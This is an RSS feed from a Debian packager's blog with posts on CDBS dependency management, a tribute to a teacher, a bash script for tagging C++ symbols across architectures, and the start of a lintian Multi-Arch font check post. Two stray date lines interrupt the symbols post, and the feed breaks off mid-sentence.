<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Random Ramblings - Articles</title>
<description>Random thoughts shooting out of volatile mind</description>
<link>http://copyninja.info</link>
<atom:link href="http://copyninja.info/rss/" rel="self" type="application/rss+xml" />


<item>
<title>CDBS Packaging: package relationship management</title>
<description>&lt;p&gt;(It took me a while to come up with new CDBS packaging series post not
because I stopped using CDBS just because I was procrastinating myself
as busy)&lt;/p&gt;

&lt;p&gt;This is the second post in the CDBS packaging series. In this series
I'm going to talk about package relationship management.&lt;/p&gt;

&lt;p&gt;The better example where this feature is useful is packages where
build-depends and run-time dependencies overlap. Most of the Perl
modules which have test suites have build-depend and run-time
dependency intersection. So let me take example of a Perl module.&lt;/p&gt;

&lt;p&gt;First lets see control file of a Perl package which is not using CDBS
and then let me explain how CDBS can help you improve the situation. I
choose &lt;em&gt;libxml-libxml-perl&lt;/em&gt; lets see part of control file which includes
&lt;em&gt;Build-Depends Depends Suggests Recommends&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;control&quot;&gt;&lt;span class=&quot;k&quot;&gt;Source&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;libxml-libxml-perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Maintainer&lt;/span&gt;: Debian Perl Group &lt;span class=&quot;gs&quot;&gt;&amp;lt;pkg-perl-maintainers@lists.alioth.debian.org&amp;gt;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Uploaders&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Jonathan Yu &amp;lt;jawnsy@cpan.org&amp;gt;,&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt; gregor herrmann &amp;lt;gregoa@debian.org&amp;gt;,&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt; Chris Butler &amp;lt;chrisb@debian.org&amp;gt;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Section&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Priority&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;optional&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Build-Depends&lt;/span&gt;: &lt;span class=&quot;nf&quot;&gt;perl&lt;/span&gt; (&lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;5.12&lt;/span&gt;),
 &lt;span class=&quot;nf&quot;&gt;debhelper&lt;/span&gt; (&lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;9.20120312&lt;/span&gt;),
 &lt;span class=&quot;nf&quot;&gt;libtest-pod-perl&lt;/span&gt;,
 &lt;span class=&quot;nf&quot;&gt;libxml2-dev&lt;/span&gt;,
 &lt;span class=&quot;nf&quot;&gt;libxml-namespacesupport-perl&lt;/span&gt;,
 &lt;span class=&quot;nf&quot;&gt;libxml-sax-perl&lt;/span&gt;,
 &lt;span class=&quot;nf&quot;&gt;zlib1g-dev&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Standards-Version&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;3.9.4&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Vcs-Browser&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;http://anonscm.debian.org/gitweb/?p=pkg-perl/packages/libxml-libxml-perl.git&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Vcs-Git&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;git://anonscm.debian.org/pkg-perl/packages/libxml-libxml-perl.git&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Homepage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;https://metacpan.org/release/XML-LibXML/&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;Package&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;libxml-libxml-perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Architecture&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;any&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Depends&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;$&lt;/span&gt;{&lt;span class=&quot;ni&quot;&gt;shlibs:Depends&lt;/span&gt;}, &lt;span class=&quot;o&quot;&gt;$&lt;/span&gt;{&lt;span class=&quot;ni&quot;&gt;misc:Depends&lt;/span&gt;}, &lt;span class=&quot;o&quot;&gt;$&lt;/span&gt;{&lt;span class=&quot;ni&quot;&gt;perl:Depends&lt;/span&gt;},
 &lt;span class=&quot;nf&quot;&gt;libxml-namespacesupport-perl&lt;/span&gt;,
 &lt;span class=&quot;nf&quot;&gt;libxml-sax-perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Breaks&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;libxml-libxml-common-perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Replaces&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;libxml-libxml-common-perl&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Description&lt;/span&gt;&lt;span class=&quot;gs&quot;&gt;: Perl interface to the libxml2 library&lt;/span&gt;
 XML::LibXML is a Perl interface to the GNOME libxml2 library, which provides
 interfaces for parsing and manipulating XML files. This module allows Perl
 programmers to make use of the highly capable validating XML parser and the
 high performance Document Object Model (DOM) implementation. Additionally, it
 supports using the XML Path Language (XPath) to find and extract information.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So 2 packages are both in Build-Depends and Depends field&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;libsax-xml-perl&lt;/li&gt;
&lt;li&gt;libxml-namespacesupport-perl&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;So in this situation there is a possibility that we miss to add one or
both of these packages into Depends field, I'm not saying we will
surely miss but we might after all we are all human beings.&lt;/p&gt;

&lt;p&gt;So how can we improve the situation using CDBS? Let me go through step
by step on what we need to do.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a file called control.in with same above contents but slight
modification in Build-Depends and Depends section. I will display
the diff below to avoid re-pasting entire file again and again.&lt;/li&gt;
&lt;/ol&gt;


&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;udiff&quot;&gt;&lt;span class=&quot;gd&quot;&gt;--- debian/control      2013-04-28 23:08:11.930082600 +0530&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+++ debian/control.in   2013-05-04 20:51:18.849680419 +0530&lt;/span&gt;
&lt;span class=&quot;gu&quot;&gt;@@ -5,13 +5,7 @@&lt;/span&gt;
  Chris Butler &amp;lt;chrisb@debian.org&amp;gt;
 Section: perl
 Priority: optional
&lt;span class=&quot;gd&quot;&gt;-Build-Depends: perl (&amp;gt;= 5.12),&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- debhelper (&amp;gt;= 9.20120312),&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- libtest-pod-perl,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- libxml2-dev,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- libxml-namespacesupport-perl,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- libxml-sax-perl,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- zlib1g-dev&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+Build-Depends: @cdbs@&lt;/span&gt;
 Standards-Version: 3.9.4
 Vcs-Browser: http://anonscm.debian.org/gitweb/?p=pkg-perl/packages/libxml-libxml-perl.git
 Vcs-Git: git://anonscm.debian.org/pkg-perl/packages/libxml-libxml-perl.git
&lt;span class=&quot;gu&quot;&gt;@@ -20,8 +14,7 @@&lt;/span&gt;
 Package: libxml-libxml-perl
 Architecture: any
 Depends: ${shlibs:Depends}, ${misc:Depends}, ${perl:Depends},
&lt;span class=&quot;gd&quot;&gt;- libxml-namespacesupport-perl,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;- libxml-sax-perl&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+ ${cdbs:Depends}&lt;/span&gt;
 Breaks: libxml-libxml-common-perl
 Replaces: libxml-libxml-common-perl
 Description: Perl interface to the libxml2 library
&lt;span class=&quot;gu&quot;&gt;@@ -30,4 +23,3 @@&lt;/span&gt;
  programmers to make use of the highly capable validating XML parser and the
  high performance Document Object Model (DOM) implementation. Additionally, it
  supports using the XML Path Language (XPath) to find and extract information.
&lt;span class=&quot;gd&quot;&gt;-&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Next we need to have something like below in the rule files&lt;/li&gt;
&lt;/ol&gt;


&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;make&quot;&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/make -f&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;include /usr/share/cdbs/1/rules/debhelper.mk&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;include /usr/share/cdbs/1/rules/utils.mk&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;include /usr/share/cdbs/1/rules/upstream-tarball.mk&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;include /usr/share/cdbs/1/class/perl-makemaker.mk&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;pkg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;DEB_SOURCE_PACKAGE&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;deps&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; libxml-libxml-perl libxml-sax-perl
&lt;span class=&quot;nv&quot;&gt;deps-test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; libtest-pod-perl

&lt;span class=&quot;nv&quot;&gt;CDBS_BUILD_DEPENDS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;, &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;deps&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;deps-test&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;CDBS_BUILD_DEPENDS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;, zlib1g-dev, libxml2-dev, perl &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 5.12&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;err&quot;&gt;CDBS_DEPENDS_&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;pkg&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; , &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;deps&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So basically we moved all Build-Depends and Depends to rules file. The
common ones are placed in deps variable and assigned to both
Build-Depends and Depends. CDBS uses following variables for package
relationship management.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;CDBS_BUILD_DEPENDS: This variable helps you manage Build-Depends
field and all you need to do is in your control.in files
Build-Depends field put place holder @cdbs@&lt;/li&gt;
&lt;li&gt;CDBS_DEPENDS: This field can be used to manage Depends field of
binary package for each binary package you need to have one
CDBS_DEPENDS_pkgname variable with depends assigned to it. And in
your control.in append ${cdbs:Depends} to Depends field.&lt;/li&gt;
&lt;li&gt;CDBS_PROVIDES, CDBS_BREAKS, CDBS_RECOMMENDS, CDBS_PREDEPENDS,
CDBS_SUGGESTS, CDBS_REPLACES: all these does the job what you think
it does :-).&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Other than CDBS_BUILD_DEPENDS all other variables work using substvars
i.e. CDBS will put the respective substitutions in &lt;em&gt;pkgname.substvars&lt;/em&gt;
file which will be used during deb creation to replace things in
control file.&lt;/p&gt;

&lt;p&gt;So to make CDBS generate new control file run the below command&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;console&quot;&gt;&lt;span class=&quot;go&quot;&gt;DEB_MAINTAINER_MODE=1 fakeroot debian/rules debian/control&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Basically this command needs to be executed before starting build
process if you miss your changes will not be reflected into
&lt;em&gt;debian/control&lt;/em&gt;. Additionally this feature is Maintainer Mode helper
tool because Debian policy prohibits change of debian/control during
&lt;strong&gt;normal&lt;/strong&gt; package build.&lt;/p&gt;

&lt;p&gt;So what is the benefit of using this feature of CDBS? I've listed some
of them which I felt are obvious.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;When there is intersection in Build-Depends and Depends this
feature from CDBS is helpful. As I shown above put all intersecting
dependencies in common variable and appropriately assign them
wherever it is required. Thus we can avoid possible missing of some
of run-time dependencies due to human error.&lt;/li&gt;
&lt;li&gt;It is also possible that newer version of package requires specific
version of some package (mostly libraries) and we updated build
dependencies but we might forget to do the same in Depends, by
using this feature we can make sure we will not miss such minute
details.&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;One last thing I want to point out is if you are NMUing a CDBS package&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;NMUs need not (but are encouraged to) make special use of these tools.
In particular, the debian/control.in file can be completely ignored.&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Before closing down the post, If you find some mistake in the post
please let me know either through comments or through the
&lt;a href=&quot;http://scr.im/vasudev&quot;&gt;email&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Soon I will be back with new CDBS recipes till then cya.&lt;/p&gt;
</description>
<pubDate>Sun, 05 May 2013 05:19:45 -0700</pubDate>
<link>http://copyninja.info/2013/05/cdbs_packaging%3A_package_relationship_management.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/05/cdbs_packaging%3A_package_relationship_management.html</guid>
</item>



<item>
<title>Tribute to Beloved Teacher</title>
<description>&lt;p&gt;Today I'm writing this blog with saddened heart. My mentor and a best
friend Dr.&lt;a href=&quot;https://twitter.com/ashok567&quot;&gt;Ashokkumar&lt;/a&gt; is no more. He
died yesterday after fighing with Lymph Node cancer.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ashokkumar&lt;/em&gt; or &lt;em&gt;Ashok sir&lt;/em&gt; that is how we all students used to
 address him, was a Professor in Information Science Engineering in
 NMAM Institue of Technology and recently transferred to Computer
 Science Engineering Departement. My last meeting him with him was
 last year December during which he was looking every bit okay other
 than he had knee pain because of which he couldn't walk freely. But I
 never imagined that it will be my last meeting with him.&lt;/p&gt;

&lt;p&gt; Ashok sir was also behind the FLOSS event that took place in NMAM
 Institute of Technology including MiniDebconf 2011 which saw 2 of the
 foreign DD's Christian Perrier and Jonas Smedegaard.&lt;/p&gt;

&lt;p&gt; It was because of his first organized FLOSS event which I volunteered
 called &lt;em&gt;Linux Habba&lt;/em&gt; I entered into the FLOSS world. This means its
 because of him that I started my FLOSS world journey and reached to
 my current level. Also it was because of his motivation I started
 writing this blog which I continue till this day.&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;I whole heartedly thank Ashok sir for teaching me guiding me and
motivating me during my difficult times. You will always be
remembered through out my life. May your soul Rest In Peace.&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Here are the 2 pics of Ashok sir taken during Minidebconf (Credits:
Christian Perrier and Kartik Mistry)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://gallery.debconf.org/d/57541-2/DSC00837.JPG&quot; alt=&quot;Ashokkumar with Jonas and Me&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://lh4.googleusercontent.com/-H5w-Wtp5Eeg/Tq97DNyxZPI/AAAAAAAACqE/gXBldGSJmZw/w762-h508/IMG_6267.JPG&quot; alt=&quot;Ashokkumar during inaugaration of MiniDebconf with Christian and Kartik on stage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Good bye Sir :-(&lt;/p&gt;
</description>
<pubDate>Sat, 27 Apr 2013 22:05:53 -0700</pubDate>
<link>http://copyninja.info/2013/04/tribute_to_beloved_teacher.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/04/tribute_to_beloved_teacher.html</guid>
</item>



<item>
<title>Handling C++ symbols that vary across architectures</title>
<description>&lt;h2&gt;Disclaimer&lt;/h2&gt;

&lt;p&gt;I'm no symbol expert and dealing with symbol files for first time from
the time I started packaging. What I did here is depending on some
suggestions I got in #debian-mentors.&lt;/p&gt;

&lt;p&gt;If you think what I did was wrong please enlighten me :-).&lt;/p&gt;

&lt;h2&gt;Problem&lt;/h2&gt;

&lt;p&gt;Recently 2 of my library packages &lt;em&gt;pugixml&lt;/em&gt; and &lt;em&gt;ctpp2&lt;/em&gt; got accepted
into Debian archive and when buildd tried to build them on remaining
architectures other than one for which I uploaded (amd64) builds
failed. This was expected as symbols file which I generated was for
amd64. As usual I got 2 serious bug reports
&lt;a href=&quot;http://bugs.debian.org/704718&quot;&gt;#704718&lt;/a&gt; and
&lt;a href=&quot;http://bugs.debian.org/705135&quot;&gt;#705135&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Solution&lt;/h2&gt;

&lt;p&gt;First I was not sure how to handle this. I read article on symbols
files handling by rra [1] and tried to use pkgkde-symbolshelper tool
only to quickly figure out that I need to use pkgkde_symbolshelper
addon for dh sequencer. But this was not possible for me as I was
using CDBS for packaging.&lt;/p&gt;

&lt;p&gt;I did a quick chat on #debian-mentors and some one suggested me to tag
symbols which vary across architecture with (c++) tag. First I was not
sure but after reading dpkg-gensymbols man page understood that I need
to replace the entire mangled symbols lines with de-mangled version
tagged with (c++) in the beginning.&lt;/p&gt;

&lt;p&gt;But this was hectic job searching for each deleted symbols and
replacing it. So I thought of writing a script to do the job and after
struggling for 3 days (yeah I was bit dumb that I didn't read manual
date: &quot;2013-04-14 18:39:20 +0530&quot;
&lt;em&gt;pugixml&lt;/em&gt; and &lt;em&gt;ctpp2&lt;/em&gt; package using it, which is now waiting for Jonas
for uploading it.&lt;/p&gt;

&lt;p&gt;Here is the script&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sh&quot;&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; +x

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$# &lt;/span&gt;-lt 3 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Usage: $0 failed_buildlogs_directory symbols_file package_version&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;2
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;    &lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;BUILD_LOG_DIRECTORY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;SYMBOLS_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$2&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PACKAGE_VERSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$3&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;VERSION_TO_REPLACE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot; $PACKAGE_VERSION\&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;LOGFILE in &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;ls &lt;span class=&quot;nv&quot;&gt;$BUILD_LOG_DIRECTORY&lt;/span&gt;/*.build&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;    for &lt;/span&gt;i in &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;grep &lt;span class=&quot;s1&quot;&gt;&amp;#39;^-\s_Z&amp;#39;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LOGFILE&lt;/span&gt; | perl -pe &lt;span class=&quot;s1&quot;&gt;&amp;#39;s/-//g;&amp;#39;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;        if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$PACKAGE_VERSION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;            continue&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;        fi&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;demangled_version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;\&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PACKAGE_VERSION&lt;/span&gt; | c++filt&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;\&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;tagged_version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;(c++)&amp;quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;demangled_version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$VERSION_TO_REPLACE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;\&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PACKAGE_VERSION&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;escaped_tagged_version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$tagged_version&lt;/span&gt; | sed &lt;span class=&quot;s1&quot;&gt;&amp;#39;s/\&amp;amp;/\\\&amp;amp;/&amp;#39;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
        sed -i &lt;span class=&quot;s2&quot;&gt;&amp;quot;s#$i $PACKAGE_VERSION#$escaped_tagged_version#&amp;quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$SYMBOLS_FILE&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So basically to make this work we need all buildlogs to be downloaded
from buildd's again this was easy thanks to rra for developing
&lt;em&gt;pkgkde-getbuildlogs&lt;/em&gt; :-).&lt;/p&gt;

&lt;p&gt;Once you have build logs directory run the above script as follows&lt;/p&gt;

&lt;pre&gt;
cppsymbol_replace.sh path_to_buildlogs path_to_symbol_file upstream_version
&lt;/pre&gt;


&lt;p&gt;After replacing symbols I tried to build package on i386 chroot and
build passed successfully but lintian told me that there are symbols
which have Debian version appended to it and this might lead to
date: &quot;2013-04-14 18:42:42 +0530&quot;
back to mentors :-).&lt;/p&gt;

&lt;p&gt;It is this time I really understood concept of mangled names generated
by compiler and why it vary across the architecture ;-).&lt;/p&gt;

&lt;p&gt;This time some one by nick &lt;em&gt;pochu&lt;/em&gt; suggested me to pass option -v with
package version to dpkg-gensymbols to make it generate symbols with
package version and not Debian version.&lt;/p&gt;

&lt;p&gt;The following probably needs to be done if package uses dh sequencer
but I'm not sure as I've not tested it. If wrong please correct me.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;make&quot;&gt;&lt;span class=&quot;nf&quot;&gt;override_dh_makeshlibs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    dh_makeshlibs -- -v&lt;span class=&quot;nv&quot;&gt;$PACKAGEVERION&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;#package version needs to be either extracted using parsechangelog or manually fed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;If you are using CDBS this is pretty simple. Just add following to rules&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;make&quot;&gt;&lt;span class=&quot;err&quot;&gt;DEB_DH_MAKESHLIBS_ARGS_&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;pkgname&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt; +&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; -- -v&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;DEB_UPSTREAM_VERSION&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I noticed that when I provide (c++) tagged de-mangled name
dpkg-gensymbols simply replaces it with proper mangled name but the
deletion doesn't trigger an error in dpkg-gensymbols.&lt;/p&gt;

&lt;p&gt;This script me allowed to replace 128 symbols which were very tricky
and long with de-mangled and tagged version in ctpp2, so I hope it
should work across different packages without any problem. Only silly
mistake I did was occurrence of &amp;amp; symbol in function making sed go mad
which I took one full day to debug :facepalm:.&lt;/p&gt;

&lt;p&gt;So that's it folks, if you see something wrong in what I did please
let me know through the comments.&lt;/p&gt;

&lt;p&gt;[1] &lt;a href=&quot;http://www.eyrie.org/~eagle/journal/2012-01/008.html&quot;&gt;http://www.eyrie.org/~eagle/journal/2012-01/008.html&lt;/a&gt;&lt;/p&gt;
</description>
<pubDate>Sun, 14 Apr 2013 06:15:25 -0700</pubDate>
<link>http://copyninja.info/2013/04/replacing_symbols_which_vary_over_different_architecture_using_script.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/04/replacing_symbols_which_vary_over_different_architecture_using_script.html</guid>
</item>



<item>
<title>Multi-Arch lintian check for font packages</title>
<description>&lt;p&gt;I've provided a new patch &lt;a href=&quot;http://bugs.debian.org/701061&quot;&gt;#701061&lt;/a&gt; for
lintian to warn about font packages that are not marked as &lt;em&gt;Multi-Arch
foreign or allowed&lt;/em&gt;. Its already included in the lintian by &lt;em&gt;Neils
Thykier&lt;/em&gt; and will be part of version
&lt;em&gt;2.5.12&lt;/em&gt;. The following tag has been implemented&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;font-package-not-multi-arch-foreign
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A Bit of History for this implementation is as follows:&lt;/p&gt;

&lt;p&gt;We got a bug report on one of the fonts in pkg-fonts team that its not
been installed in i386 architecture on a amd64 multi-arch system
&lt;a href=&quot;http://bugs.debian.org/694864&quot;&gt;#694864&lt;/a&gt;. We were first confused but
